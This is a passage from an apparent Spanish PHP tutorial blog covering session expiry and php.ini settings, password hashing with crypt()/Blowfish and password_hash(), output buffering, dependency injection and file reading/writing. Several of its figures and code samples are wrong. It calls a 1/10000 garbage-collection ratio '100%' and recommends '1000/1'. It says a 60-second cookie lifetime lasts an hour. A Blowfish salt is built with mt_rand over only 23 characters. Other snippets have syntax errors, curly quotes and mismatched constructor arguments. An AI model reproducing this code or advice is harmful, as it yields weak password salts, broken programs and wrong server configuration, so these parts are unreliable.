          unset($_SESSION["expire"]); 
          unset($_SESSION["session_name"]); 
         session_unset();
         session_destroy(); 

// destruir informacion de session en el cliente 
$session_cookie_params = session_get_cookie_params(); 
setcookie(session_name(), '', time() - 24 * 3600, $session_cookie_params['path'], $session_cookie_params['domain'], $session_cookie_params['secure'], $session_cookie_params['httponly']); 

// Limpiar el array $_SESSION
$_SESSION = array();  

      } 
      // creamos o redefinimos el valor de la variable de session 
      else 
      { 
           $_SESSION["expire"] = time(); 
       } 
} 
?>

Si vas a modificar el php.ini te vale esta información

session.gc_maxlifetime Este valor (por defecto 1440 segundos) define cuánto tiempo se mantendrá viva una sesión PHP sin utilizar. Por ejemplo: un usuario inicia sesión, busca a través de su aplicación o sitio web , por hora, por día. No hay problema. Mientras el tiempo entre sus clics nunca exceda 1.440 segundos. Es un valor de tiempo de espera. Colector de basura la sesión de PHP se ejecuta con una probabilidad definida por session.gc_probability dividido por session.gc_divisor . Por defecto es 1/100, lo que significa que el valor de tiempo de espera anterior se comprueba con una probabilidad de 1 en 100. Si dejas un valor de 100% es decir: gc_probability/gc_divisor = 1/10000 va a hacer que el servidor sobre-cargue a PHP indicando que en todas las peticiones haga una limpieza de las sesiones. Lo mejor en caso de ser un servidor que tiene poca visita colocarlo a que sea un 1% es decir 1/100 (también puede ser un 10% si tu servidor lo estás usando para desarrollar, es decir 1/1000). Si tiene mucha visita lo mejor es colocar a que sea 0.1% es decir 1000/1.

session.cookie_lifetime Este valor (por defecto 0, es decir, hasta el próximo reinicio del navegador) define el tiempo (en segundos) vivirá una cookie de sesión. Suena similar a session.gc_maxlifetime , pero es un enfoque completamente diferente. Este valor define indirectamente el "absoluto" tiempo de vida máximo de una sesión, si el usuario está activo o no. Si este valor se establece en 60, cada sesión termina después de una hora. Al crear mis antiguas aplicaciones en PHP, solía controlar la duración de las sesiones con únicamente un parámetro, session.gc_maxlifetime, que por defecto está ajustado a 1440 segundos (24 minutos), ya que lo cambiaba a 7200 segundos (dos horas, o 120 minutos). Aunque no es una técnica recomendada, solía modificar el parámetro en php.ini. El primer problema era que obligaba a todas las aplicaciones del servidor a permitir que las sesiones duraran 2 horas. El segundo era que una actualización en el servidor producía que la caducidad volviera a 1440 segundos. Es decir, la duración o caducidad de las sesiones no puede dejarse en manos de php.ini, sino de la propia aplicación. Podemos correr el riesgo de modificar ambos parámetros desde php.ini: session.cookie_lifetime 7200 session.gc_maxlifetime 7200 O mejor aún, colocarlos en cada página que utilice sesiones:
<?php
ini_set("session.cookie_lifetime","7200");
ini_set("session.gc_maxlifetime","7200");
session_start();
$_SESSION["ejemplo"]="invitado";
?>
Recuerda ponerlo antes de la instrucción “session_start()” y además verificar la probabilidad de gc sea 1/100 Terminar sesión apropiadamente

<?php
// destruir información de session en el server
session_unset();
session_destroy(); 

// destruir informacion de session en el cliente 
$session_cookie_params = session_get_cookie_params(); 
setcookie(session_name(), '', time() - 24 * 3600, $session_cookie_params['path'], $session_cookie_params['domain'], $session_cookie_params['secure'], $session_cookie_params['httponly']); 

// Limpiar el array $_SESSION
$_SESSION = array();  
?>

Login PHP con crypt() y Blowfish

En esta entrada se utilizara la función crypt() y Blowfish, otra opción muy aceptable es utilizar password_hash(), dejo este link con una explicación del tema en Login PHP con password_hash(), pasando a la función crypt() con Blowfish como algoritmo de hash lo que se busca es mejorar un método común para proteger passwords como este:
<?php
function hash_password($password, $salt) 
{
    $hash = hash_hmac('SHA512', $password, $salt);
    for ($i = 0; $i < 5000; $i++) 
    {
        $hash = hash_hmac('SHA512', $hash, $salt);
    }
    
    return $hash;
}

$nombre = $_POST['nombre'];
$password = $_POST['password'];

$salt = str_replace('=', '.', base64_encode(mcrypt_create_iv(20)));
$hash = hash_password($password, $salt);
var_dump($hash);
?>
Por una codificación mas fuerte, la función hash que utilizaremos será crypt() que soporta de forma nativa varios algoritmos. Por defecto usa la codificación MD5 pero por razones de seguridad usaremos Blowfish, también puede utilizarse Verificando si mi versión de PHP soporta Blowfish El algoritmo Blowfish está disponible a partir de la versión 5.3 de PHP. Si quieres comprobar que tienes soporte para Blowfish puedes colocar este código en un archivo PHP:
<?php
  if(defined("CRYPT_BLOWFISH") && CRYPT_BLOWFISH) {
    echo "CRYPT_BLOWFISH esta disponible";
  }
?>
Si podemos usar Blowfish pasaremos a codificar la contraseña, en el caso de que no, tendremos que instalar la última versión de PHP. Para forzar que crypt() utilice el algoritmo Blowfish debemos colocar un salt especial, si la función no reconoce el salt que escribimos, el hash resultante estará codificado en MD5. La función queda asi:
<?php
crypt($password, '$2a$10$'.$unique_salt);
?>
El segundo parámetro es un poco raro, pero en realidad lo que hay ahí son instrucciones que deben seguir la salt para Blowfish $2y$ Indica que vamos a usar BlowFish. $10$ Indica el costo del cálculo. Puede ir de 04 a 31., con 10 como valor aceptable. $unique_salt Indica un salt para el cálculo del algoritmo. Una palabra/frase alfa-numérica de 22 caractéres (por lo menos así es para Blowfish) que pueden ser ./1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz. Teniendo en cuenta todo lo anterior, un script para registrar un usuario sería más o menos así:
<?php
$nombre = $_POST['nombre'];
$password = $_POST['pass'];

// Generamos un salt aleatoreo, de 22 caracteres para Bcrypt
$salt = substr(base64_encode(openssl_random_pseudo_bytes('30')), 0, 22);

// A Crypt no le gustan los '+' así que los vamos a reemplazar por puntos.
$salt = strtr($salt, array('+' => '.')); 

// Generamos el hash
$hash = crypt($password, '$2y$10$' . $salt);

// Guardamos los datos en la base de datos
$db = new PDO(.....);
$stmt = $db->prepare('INSERT INTO usuarios (nombre, pass) VALUES (?, ?)');
$stmt->execute(array($nombre, $hash)); 
?>
Y para validar la contraseña que esta almacenada en la base de datos contra un valor proporcionado por el usuario sería algo así:
<?php
$nombre = $_POST['nombre'];
$password = $_POST['pass'];

// Validamos $nombre, bla bla bla..

// Extraemos el hash de la base de datos
$db = new PDO(......);
$stmt = $db->prepare('SELECT pass
                      FROM usuarios
                      WHERE nombre = ?');
                      
$stmt->execute(array($nombre));
$dbHash = $stmt->fetchcolumn();

// Recalculamos a ver si el hash coincide.
if (crypt($password, $dbHash) == $dbHash)
    echo 'El usuario ha sido autenticado correctamente';
else
    die('Mal Password');
?>
Creando una función que haga el trabajo Para que nuestra contraseña sea más segura, vamos a crear una función que realice un salt aleatorio. El valor que se generará aleatoriamente para cada hash serán los últimos 22 caracteres.
<?php
function crypt_blowfish($password, $digito = 7) {
$set_salt = './1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
$salt = sprintf('$2a$%02d$', $digito);
for($i = 0; $i < 22; $i++)
{
 $salt .= $set_salt[mt_rand(0, 22)];
}
return crypt($password, $salt);
}
?>
Para crear el hash con la función que recién creamos solamente tenemos que escribirlo de la siguiente manera
<?php
$password = crypt_blowfish('stringdondeestaralacontraseña');
?>
Ahora para validar la contraseña que recién se ha creado y suponiendo que se guardo en la base de datos, vamos a recuperar ese valor en la variable $passwordenBD lo que se obtiene es:
<?php
$passwordenBD = '$2a$07$yMoJrJpwEPrmVnZx4KIyNuOAiOMQksjkV1EW0YRgVe33eYe/yT60y';

//Micontraseña representa el valor capturado desde el usuario

if( crypt('micontraseña', $passwordenBD) == $passwordenBD) {
 echo 'OK';
}
?>

Login PHP con password_hash()

Primero una aclaración…como no guardar contraseñas No guardar contraseñas en texto plano, esto debería ser obvio ya que si alguien tiene acceso a tu base de datos y a las contraseñas de tus usuarios, si un ataque externo…o interno(en quien confias?)…expone las contraseñas de tus usuarios, tu trabajo como programador-analista-diseñador-DBA-conserje –prepara café se verá comprometido, ni hablar de las represalias directas de la compañía que se lavaran las manos en tu incapacidad. Si a esto le sumamos que muchos usuarios, como yo, utilizan la misma contraseña para muchos sitios pues el pecado habrá sido mayor, recuerda que no solo te expones a ataques desde fuera de tu empresa ya que hasta un shared server puede fácilmente entrar a tu base de datos. No inventes, a lo mejor no eres un expert en seguridad, lo mejor es probar con soluciones que han sido aceptadas por la comunidad de programadores que como tu están buscando proteger las valiosas contraseñas de sus usuarios. No encriptar contraseñas Había un profesor de la universidad que quería llamar la atención haciéndonos ver que la pablara encriptar no existe más nunca explico el problema de encriptar contraseñas…bueno, el gran problema es que el encriptar una frase es un proceso reversible, esto es, que al encriptar pabletoreto podría obtener algo como esto: hjb32 y pareciera que estaría seguro pero qué tal si desencripto ese texto y obtengo pablo de nuevo? Utilizar Hash pero no MD5 Si no sabes que es un hash te lo contamos. No es más que una secuencia de caracteres única que representa una entidad ( en nuestro caso una contraseña), esta secuencia se obtiene mediante algoritmos hash (generalmente md5 o sha1), las características de estos algoritmos que nos resulta útil para gestionar las contraseñas son: Algoritmos de una sola vía: No hay forma de obtener la cadena original partiendo de la secuencia obtenida. Son deterministas: Es decir, la misma entrada siempre producirá la misma secuencia de salida. Son “económicas” de calcular: Esto quiere decir que no se necesitan grandes cantidades de tiempo y memoria para calcularlas, haciendo factible su implementación en nuestras aplicaciones. Y es precisamente esta última cualidad que actualmente ha comprometido la efectividad de estos algoritmos hash, debido al incremento de la capacidad computacional de los equipos con los que trabajamos y el empleo conjunto con técnicas de “crack” de hash como las tablas arcoiris ( Rainbow tables), las que nos obligan a ir un paso más allá e implementar técnicas que le dificulten o por lo menos no hagan atractivo computacionalmente hablando el tratar de romper nuestras contraseñas. Utilizar hash para las contraseñas es ir en el camino correcto pero no te vayas por las opciones MD5 o SHA-1 porque son propensas a ataques como fuerza bruta o rainbow tables, para más información acerca de estos ataques pregúntale a Yahoo. LinkedIn o a la ultra segura portentosa y divina Apple. Como sugerencia utiliza Bcrypt Utiliza SALT Para aumentarle la dificultad a los crackers, hay 2 métodos muy comunes que son salting y peppering. En el caso de un salt, La idea es crear un string aleatoreo y añadirlo al password. Ese string nunca lo debe saber el usuario, de hecho el nisiquiera debería saber que existe. El objetivo de este método es aumentar la longitud y complejidad del password original. Por otro lado un pepper sería otro string aleatoreo, que se guarda generalmente por fuera de la base de datos y se le añade a un salt. Su función principal es generar distintos hashes para distintos dominios/páginas. Personalmente pienso que un pepper no añade beneficios gigantes a la seguridad de una aplicación, asi que no hablaré mucho al respecto. Las Tablas Arcoiris y las Lookup Tables, solo funcionan cuando cada password ha sido hasheado de la misma forma. Si 2 usuarios tienen el mismo password, su hash sería el mismo. Esa situación se previene, creando un salt para cada password, cosa que si 2 usuarios usan el mismo password, el resultado serían 2 hashes distintos! De preferencia no utilices una salt estatica sino una que se genere aleatoriamente, la clave en todo este asunto es nunca reusar un mismo salt, siempre generar uno nuevo y preferiblemente, que tenga una longitúd decente (pongale unos 20 o 32 caracteres). Para generar salts aleatoreos en PHP, lo mejor es usar las funciónes mcrypt_create_iv o openssl_random_pseudo_bytes - nada de mt_rand, rand, uniqid, ni algo inventado por nosotros mismos, entonces en vez de tener esto
<?php
$salt = '34a@$#aA9823$';
$password = 'dinvaders1234';
$password = hash('sha256', $salt . $password);
?>
opta por cualquiera de estas dos opciones para generar datos aleatorios, primero considera usar mcrypt_create_iv que crea un vector de inicialización (IV) desde una fuente aleatoria, el primer parametro representa el tamaño del vector y el segundo parametro representa la fuente del IV. El parámetro fuente puede ser MCRYPT_RAND (generador de números aleatorios del sistema), MCRYPT_DEV_RANDOM (lee datos de /dev/random) y MCRYPT_DEV_URANDOM (lee datos de /dev/urandom). Antes de 5.3.0, MCRYPT_RAND era la única soportada en Windows. Obsérvese que el valor predeterminado de este parámetro era MCRYPT_DEV_RANDOM antes de PHP 5.6.0.
<?php
// A Crypt no le gustan los '+' así que los vamos a reemplazar por puntos.
$salt = strtr(base64_encode(mcrypt_create_iv(22, MCRYPT_DEV_URANDOM)), '+', '.');
?>
o bien esta segunda opcion que utiliza openssl_random_pseudo_bytes que genera una cadena de bytes pseudo-aleatoria, con el número para crear aleatoriamente 22 numeros:
<?php
// Generamos un salt aleatorio, de 22 caracteres para Bcrypt
$salt = substr(base64_encode(openssl_random_pseudo_bytes('30')), 0, 22);

// A Crypt no le gustan los '+' así que los vamos a reemplazar por puntos.
$salt = strtr($salt, array('+' => '.')); 
?>
crypt — Hash de cadenas de un sólo sentido(PHP 4, PHP 5) Vamos a lo importante, primero mostrare como utilizar la función crypt sobre una contraseña y como validarla, no ingresare la contraseña a la base de datos
<?php
$username = 'Admin';
$password = 'pabletoreto';
// costo base 2
$cost = 10;
// Creamos una salt aleatoria de 16 elementos
$salt = strtr(base64_encode(mcrypt_create_iv(16, MCRYPT_DEV_URANDOM)), '+', '.');
// $2a$ significa Blowfish algorithm y %02d$ es el costo 
// deben ir antes de la salt para ser un formato aceptado
// por la funcion crypt
$salt = sprintf("$2a$%02d$", $cost) . $salt;

$hash = crypt($password, $salt);
echo "
"; echo "
"; echo "se obtuvo este valor encryptado" .$hash; echo "
"; echo "
"; echo "Ahora probaremos la validacion con pabletoreto de contraseña"; echo "
"; $password2="pabletoreto"; //Vamos a verificar if(password_verify($password2, $hash)){ echo "OK, validacion correcta"; } else { echo "validacion incorrecta"; } ?>
Podríamos haber verificado la contraseña con if ( hash_equals($hash, crypt($password2, $hash))) pero debes verificar que tu versión de PHP lo permita. crypt() devolverá el hash de un string utilizando el algoritmo estándar basado en DES de Unix o algoritmos alternativos que puedan estar disponibles en el sistema. El parámetro salt es opcional. Sin embargo, crypt() crea una contraseña débil sin salt. PHP 5.6 o posterior emiten un error de nivel E_NOTICE sin él. Asegúrese de especificar una sal lo suficientemente fuerte para mayor seguridad. password_hash — Crea un nuevo hash de contraseña (PHP 5 >= 5.5.0) password_hash() utiliza un hash fuerte, genera una sal fuerte, y aplica los redondeos necesarios automáticamente. password_hash() es una envoltura simple de crypt() compatible con los hash de contraseñas existentes. Se aconseja el uso de password_hash(). Lo bueno de password_hash() es que la misma función nos crea una salt segura, esta será aleatoria y diferente para cada password, el coste por defecto es 10 el cual es suficiente, estos dos valores ya están presentes en el hash que password_hash entrega, además que si utilizamos PASSWORD_DEFAULT como segundo parámetro es como que estuviéramos utilizando el algoritmo de hash BCRYPT, pero si queremos utilizar el algoritmo recomendado CRYPT_BLOWFISH se debe especificar como segundo parametro PASSWORD_BCRYPT. password_hash() crea un nuevo hash de contraseña usando un algoritmo de hash fuerte de único sentido. password_hash() es compatible con crypt(). Por lo tanto, los hash de contraseñas creados con crypt() se pueden usar con password_hash(), significa que podemos utilizar password_verify() para ambos casos. Actualmente, se tiene soporte para los siguientes algoritmos: PASSWORD_DEFAULT - Usar el algoritmo bcrypt (predeterminado a partir de PHP 5.5.0). Observe que esta constante está diseñada para cambiar siempre que se añada un algoritmo nuevo y más fuerte a PHP. Por esta razión, la longitud del resultado de usar este identificador puede cambiar en el tiempo. Por lo tanto, se recomienda almacenar el resultado en una columna de una base de datos que pueda apliarse a más de 60 caracteres (255 caracteres sería una buena elección). PASSWORD_BCRYPT - Usar el algoritmo CRYPT_BLOWFISH para crear el hash. Producirá un hash estándar compatible con crypt() utilizando el identificador "$2y$". El resultado siempre será un string de 60 caracteres, o FALSE en caso de error. Opciones admitias: salt - para proporcionar manualmente una sal a usar cuando se realiza el hash de la contraseña. Observe que esto sobrescribirá y prevendrá que una sal sea generada automáticamente. Si se omite, se generará una sal aleatoria mediante password_hash() para cada contraseña con hash. Este es el modo de operación previsto. cost - que denota el coste del algoritmo que debería usarse. Se pueden encontrar ejemplo de estos valores en la página de crypt(). Si se omite, se usará el valor predeterminado 10. Este es un buen coste de referencia, pero se podría considerar aumentarlo dependiendo del hardware. Entonces utilicemos password_hash, en la pagina de PHP se muestra este ejemplo de password_hash()
<?php
/**
 * Queremos realizar un hash a nuestra contraseña cuando el algoritmo DEFAULT actual.
 * Actualmente es BCRYPT, y producirá un resultado de 60 caracteres.
 *
 * A que tener en cuenta que DEFAULT puede cambiar con el tiempo, por lo que debería prepararse 
 * para permitir que el almacenamento se amplíe a más de 60 caracteres (255 estaría bien)
 */
echo password_hash("rasmuslerdorf", PASSWORD_DEFAULT)."\n";
?>
Ejemplo de password_hash() estableciendo el coste manualmente
<?php
/**
 * En este caso, queremos aumentar el coste predeterminado de BCRYPT a 12.
 * Observe que también cambiamos a BCRYPT, que tendrá siempre 60 caracteres.
 */
$opciones = [
    'cost' => 12,
];
echo password_hash("rasmuslerdorf", PASSWORD_BCRYPT, $opciones)."\n";
?>
Ejemplo más completo con mysqli, aquí la conexión a la base de datos se encuentra en conexión.php pero esa la haces tu solo la utilizo emplicitamente en este código, además se dan las opciones de ingresar un nuevo password y de verificar password existentes, fíjate en elos $_POST[‘registrar’] y $_POST[‘ingresar’] y para verificar la contraseña contra el hash generado se utiliza password_verify($password_a_verificar, $hash_generado))
<?php
session_start();
ob_start();
require_once "conexion.php";
error_reporting(E_ALL);

if((isset($_POST['ingresar'])) or (isset($_POST['registrar']))){
  
    if(!($mysqli = conectarse())){
 echo "Error al conectarse a la base de datos";
 echo "
"; echo $mysqli->connect_errno. " - " .$mysqli->connect_error; exit(); } $errores = array(); $username = filter_var($username, FILTER_SANITIZE_STRING); $password = filter_var($password, FILTER_SANITIZE_STRING); if( empty($username) ) $errores[] = "Debe especificar username"; if( empty($password) ) $errores[] = "Debe especificar password"; if( count($errores) > 0 ) { echo "

ERRORES ENCONTRADOS:

"; for( $contador=0; $contador < count($errores); $contador++ ) echo $errores[$contador]."
"; exit(); } if(isset($_POST['ingresar'])) { if(!($stmt = $mysqli->prepare("SELECT username, password FROM login_php WHERE username = ?"))){ echo "Prepare failed: (" . $mysqli->errno . ")" . $mysqli->error; exit(); } if(!$stmt->bind_param('s', $username)){ echo "Bind failed: (" . $stmt->errno . ")" . $stmt->error; exit(); } if(!$stmt->execute()){ echo "Execute failed: (" . $stmt->errno .")" . $stmt->error; exit(); } $userdata = $stmt->get_result(); $row = $userdata->fetch_array(MYSQLI_ASSOC); $stmt->store_result(); if(password_verify($password, $row['password'])){ $_SESSION['user'] = $username; header('Location: formulario.html'); exit(); }else{ echo "Login Failed: (" . $stmt->errno .")" . $stmt->error; exit(); } } if (isset($_POST['registrar'])){ $password_hash = password_hash($password, PASSWORD_DEFAULT); if(!($stmt = $mysqli->prepare("INSERT INTO login_php (username, password) VALUES (?,?)"))){ echo "Prepare failed: (" . $mysqli->errno . ")" . $mysqli->error; } if(!$stmt->bind_param('ss', $username, $password_hash)){ echo "Binding paramaters failed:(" . $stmt->errno . ")" . $stmt->error; } if(!$stmt->execute()){ echo "Execute failed: (" . $stmt->errno .")" . $stmt->error; } if($stmt) { header('Location: form_login.html'); } else{ echo "Registration failed"; } } }else{ header('location:form_login.html'); } $contenido = ob_get_contents(); ob_end_clean(); $stmt->close(); $mysqli->close(); ?>
El algoritmo, coste y sal usados son devueltos como parte del hash. Por lo tanto, toda la información que es necesaria para verificar el hash, está incluida en él. Esto permite que la función password_verify() verifique el hash sin tener que almacenar por separado la información de la sal o del algoritmo. Uso alternativo
<?php
/**
 * Observe que la sal se genera aleatoriamente aquí.
 * No use nunca una sal estática o una que no se genere aleatoriamente.
 *
 * Para la GRAN mayoría de los casos de uso, dejar que password_hash genere la sal aleatoriamente
 */
$opciones = [
    'cost' => 11,
    'salt' => mcrypt_create_iv(22, MCRYPT_DEV_URANDOM),
];
echo password_hash("rasmuslerdorf", PASSWORD_BCRYPT, $opciones)."\n";
?>
Ejemplo de password_hash() buscando un buen coste
<?php
/**
 * Este código evaluará el servidor para determinar el coste permitido.
 * Se establecerá el mayor coste posible sin disminuir demasiando la velocidad
 * del servidor. 8-10 es una buena referencia, y más es bueno si los servidores
 * son suficientemente rápidos. El código que sigue tiene como objetivo un tramo de
 * ≤ 50 milisegundos, que es una buena referencia para sistemas con registros interactivos.
 */
$timeTarget = 0.05; // 50 milisegundos 

$coste = 8;
do {
    $coste++;
    $inicio = microtime(true);
    password_hash("test", PASSWORD_BCRYPT, ["cost" => $coste]);
    $fin = microtime(true);
} while (($fin - $inicio) < $timeTarget);

echo "Coste conveniente encontrado: " . $coste . "\n";
?>

23 de abril de 2015

ob_start PHP

Al programar en PHP primero se realiza un procesamiento de la página que se muestra en el ordenador del usuario, luego se envía la petición al servidor y por último se envía al ordenador del usuario el resultado de procesar el código PHP.

Por regla general, a medida que va procesando la página, se envía el código HTML resultante al cliente, pero esta configuración se puede cambiar, incluso en tiempo de ejecución. PHP proporciona un buffer da la opción de almacenar la salida de información que se muestra al usuario a medida que se va generando de modo que no se envíe ningún dato al cliente hasta que se indique expresamente.

Este comportamiento es muy útil cuando se ocupan funciones como header() o setcookie() que deben ejecutarse antes de haber enviado ningún texto de la página al cliente. En caso contrario se producirá un error "Cannot modify header information - headers already sent by".

La función ob_start() sirve para indicarle a PHP que se ha de iniciar el buffering de la salida, es decir, que debe empezar a guardar la salida en un bufer interno, en vez de enviarla al cliente. De modo que, aunque se escriba código HTML con echo o directamente fuera del código PHP, no se enviará al navegador hasta que se ordene explícitamente o eventualmente, hasta que se acabe el procesamiento de todo el archivo PHP.

La función ob_end_flush() sirve para indicar a PHP que se desea realizar el volcado de todo el bufer en la salida, con lo que se enviará al cliente que ha solicitado la página.

La función ob_get_contents() entrega la información almacenada en el contenido del búfer de salida, o FALSE si el almacenamiento en el búfer de salida no está activo. La función ob_end_clean() se utiliza para limpiar el buffer, de esta manera el buffer ya no tendrá ninguna información, antes de utilizarse debería haberse mostrado la información al usuario ya sea con ob_end_flush o con ob_get_contents() de lo contrario se habrá perdido y no sera posible mostrarla.

Presento un ejemplo muy básico pero para lo que representan las funciones ob_ se puede considerar completo, recuerda que un código debidamente ordenado es la mejor opción, para mayor referencia dejo este link con las funciones de control de salida: http://php.net/manual/es/ref.outcontrol.php
<?php
    
    // imprime resultado al utilizer ob_end_flush()
    ob_start();
    print "Hola primer ejemplo\n";
    ob_end_flush();

    // No imprime pues utiliza ob_end_clean directamente
    ob_start();
    print "Hola Segundo ejemplo\n";
    ob_end_clean();

    // imprime Hola pabletoreto al utilizer ob_get_contents() y echo
    ob_start();
    echo “Hola pabletoreto”
    $contenido = ob_get_contents();
    Echo “contenido del buffer” .$contenido
    ob_end_clean();
    
    // imprime porque llega al fin del script
    ob_start();
    print "Hola fin de script!\n";

?>

22 de abril de 2015

Patrón Dependency Injection

Robert C. Martin afirma en el Principio de Inyección de Dependencias: A. Las clases de alto nivel no deberían depender de las clases de bajo nivel. Ambas deberían depender de las abstracciones. B. Las abstracciones no deberían depender de los detalles. Los detalles deberían depender de las abstracciones. Con lo anterior en mente empecemos con un ejemplo de código que muestra una manera de pensar y programar al momento de utilizar dos clases que tienen algo en común y que se necesitan mutuamente para lograr resultados. Lo curioso de este ejemplo es que este código te será familiar a primera vista y esta lógica de programación es aprobada por muchos profesores de universidades e incluso aceptado por muchos profesionales del área de informática, supongamos tenemos dos clases: clase A y clase B, estas dos clases deben trabajar juntas
<?php
class A {
    public function doSomething(){
    echo “se supone que hago algo”;
             }
}

class B {
    private $a;
    public function __construct(){
        $this->a = new A();
        $this->a->doSomething();
    }
}
?>
Si tenemos en cuenta los cinco principios básicos de la programación orientada a objetos que introdujo Robert C Martin , también conocidos con el acrónimo SOLID, veremos que nuestro código vulnera varios de ellos. En concreto el principio “Open/Close” y el principio de Principio de Inversión de Dependencia (Dependency inversion principle), te explico: Tenemos una simple clase genérica B, que depende de un objeto A para funcionar. Como se puede ver en el ejemplo pareciera no haber problema alguno, pero si los hay, sobretodo derivados por el acoplamiento alto/estrecho (tight coupling), esto hace que nuestro código no sea muy flexible y que el proyecto inevitablemente se torne poco mantenible ya que la clase B está estrechamente acoplada con la clase A, de manera que no podríamos cambiar la clase A, por C, o D sin tener que modificar el código de la clase B. Si por ejemplo comenzamos a agregar nuevos parámetros en la clase A, tendríamos que modificar cada nueva clase en la que el objeto A sea creado, un proceso tedioso en grandes aplicaciones. La clase A se declara implícitamente, no es posible saber que existe ese objeto sin inspeccionar el código de la clase B. El principio “Open/Close” nos dice que las entidades de software deben estar abiertas para su extensión y cerradas para su modificación, lo anterior no se cumple en nuestro ejemplo ya que las propiedades de la clase A no deberían estar dentro del scope (Alcance) de la clase B, un objeto se comunica a través de otro mediante mensajes, lo que hace cada objeto internamente no tiene por que importarle al otro. Debido al hecho de estar instanciando la clase A dentro del constructor de la clase B, el hacer test unitarios (Unir testing) en la clase B crearía el comportamiento no deseado de tener que probar la clase A también. El principio de Principio de Inversión de Dependencia que nos dice que la dependencia de nuestras clases debe ser de abstracciones, no de concreciones. Es decir, nuestras clases deben depender de interfaces y no de clases concretas. La inyección de dependencias aliviana el hecho de tener que inyectar las dependencias en el constructor de la clase dependiente, la declaración de la clase sería explícita. Analicemos el siguiente código:
<?php
interface A(){
    public function doSomething();
}

//Clase B dependiende de la interfaz A
class B implements A {
    private $foo;
    function __construct($foo){
        $this->foo = $foo;
    }
    public function doSomething(){
        return "Something";
    }
}

//Clase C también dependiende de la interfaz A
class C implements A {
    public function doSomething(){
    return "Something";
    }
}

class D {
    private $a;
    public function __construct(A $a){
    $this->a = $a;
    $this->a->doSomething();
    }
}

//Inyectamos las dependencias en el constructor.
$instanceOne = new D(new B());
$instanceTwo = new D(new C("foo text"));
?>
Como se ve en este ejemplo, estamos inyectando la dependencia desde afuera, estamos pasando en el constructor de la clase todos el objeto que la clase dependiente necesita para funcionar, esto nos brinda la posibilidad de sustituir las dependencias de manera más sencilla, y lograr que el código sea más mantenible y modular. Se observa también que la clase D actua como Factory de clases, esta clase entrega la instancia dependiendo del parámetro que reciba, pero que pasa si no recibe ningún parámetro? Podemos especificar que cree una instancia especifica tal como se muestra:
<?php
class D {
    private $a;
    public function __construct(A $a = NULL){
    {
        $this->a = is_null($a) ? new B : $a;
       $this->a->doSomething();
     }
    }
 ?>
Nótese que se utiliza el typehint “A” para forzar que la clase dependiente implemente un objeto del tipo A, ahora el objeto podría reemplazarse sencillamente siempre y cuando siga la condición de ser un objeto “A” o utilice la interfaz “A”:
<?php
public function __construct(A $a){
    $this->a = $a;
    $this->a->doSomething();
}
?>
En este caso estamos pasando la dependencia en el constructor de la clase, esto bien podría haberse hecho con setters y getters de esta manera:
<?php
class A {
    private $b;
    public function setB(B $b){
        $this->b = $b;
    }
    public function getB(){
        return $this->b->doSomething();
    }
}
?>
La injeccion de dependencias también puede realizarse por métodos setter tal como muestro en este ejemplo
<?php
interface PersonInterface
{
    public function getClass();
}
 
class PersonA implements PersonInterface
{
    public function __construct($param)
    {
        if(!isset($param)) {
            die;
        }
    }
 
    public function getClass()
    {
        return __CLASS__;
    }

class Human
{
    protected $Person;
 
    public function __construct() {}
 
    public function setPerson(PersonInterface $PersonObject)
    {
        $this->Person = $PersonObject;
    }
 
    public function getPerson()
    {
        return $this->Person;
    }
}}
 
$PersonA = new PersonA('Param for PersonA object');
$Human = new Human;
$Human->setPerson($PersonA);
 
echo $Human->getPerson()->getClass();
?>
Por último se presenta un ejemplo mas particular el cual ilustra las opciones que se tienen al enviar un correo electrónico
<?php
interface mailSystem {

	public function sendMail();
}

class GmailMailSystem  implements mailSystem {
	
	public function sendMail() {
		echo "You have sent an email! using " . get_class($this) . "\n";			
	}
}

class BasicMailSystem  implements mailSystem {
	
	public function sendMail() {
		echo "You have sent an email! using " . get_class($this) . "\n";			
	}
}

class myClass {
	private $mailer;
	public function __construct($mailSystem) {
		$this->mailer = $mailSystem;
	}

	public function myMethod() {
		$this->mailer->sendMail();
	} 
}


$myGmailMailSystem = new GmailMailSystem();
$myBasidMailSystem = new BasicMailSystem();

$myClassIntance = new myClass($myGmailMailSystem);
$myOtherClassIntance = new myClass($myBasidMailSystem);

$myClassIntance->myMethod();
$myOtherClassIntance->myMethod();
?>

file_get_contents() y file_put_contents() en PHP

file_get_contents() se utiliza para obtener archivos desde PHP y es equivalente a usar fopen(), fgets() y fclose() por lo que es la manera abreviada y preferida de transmitir el contenido de un fichero a una cadena. Usa técnicas de mapeado de memoria, si está soportado por su sistema operativo, para mejorar el rendimiento. Esta función es similar a file(), excepto que file_get_contents() devuelve el fichero a un string, comenzando por el offset especificado hasta maxlen bytes. Si falla, file_get_contents() devolverá FALSE. Parametros de file_get_contents() filename Nombre del fichero a leer. use_include_path A partir de PHP 5, se puede usar la constante FILE_USE_INCLUDE_PATH para lanzar la búsqueda en include_path. context Un recurso de contexto válido creado con stream_context_create(). Si no se necesita usar un contexto a medida, se puede saltar este parámetro usando NULL. offset El índice donde comienza la lectura en el flujo original. La búsqueda de (offset) no está soportada con ficheros remotos. Intentar buscar un fichero no local puede funcionar con índices pequeños, pero es impredecible debido a que trabaja sobre el flujo almacenado en buffer. maxlen La longitud máxima de los datos leídos. De manera predeterminada se lee hasta que se alcance el final del fichero. Observe que este parámetro se aplica al flujo procesado por los filtros. file_put_contents() se utiliza para escribir en un archivo desde PHP y es equivalente a usar fopen(), fwrite() y fclose(). file_put_contents — Escribe una cadena a un fichero Si filename no existe, se crea el fichero. De otro modo, el fichero existente se sobrescribe, a menos que la bandera FILE_APPEND esté establecida. Ejemplo con file_get_contents y file_put_contents
<?php
$fichero = 'gente.txt';
// Abre el fichero para obtener el contenido existente
$actual = file_get_contents($fichero);
//$actual =  file_get_contents("$directorio".'/'."$elemento")
// Añade una nueva persona al fichero
$actual .= "John Smith\n";
// Escribe el contenido al fichero
file_put_contents($fichero, $actual);
?>
Ejemplo con file_put_contents
<?php
$fichero = 'gente.txt';
// La nueva persona a añadir al fichero
$persona = "John Smith\n";
// Escribir los contenidos en el fichero,
// usando la bandera FILE_APPEND para añadir el contenido al final del fichero
// y la bandera LOCK_EX para evitar que cualquiera escriba en el fichero al mismo tiempo
file_put_contents($fichero, $persona, FILE_APPEND | LOCK_EX);
?>
a continuación maestro un ejemplo sencillo para guardar la fecha, hora y especificación de un error dentro de un archive txt
<?php
$filename = "C:/Users/pabletoreto/Videos/Desktop/prueba.txt";
if(file_exists($filename)) {
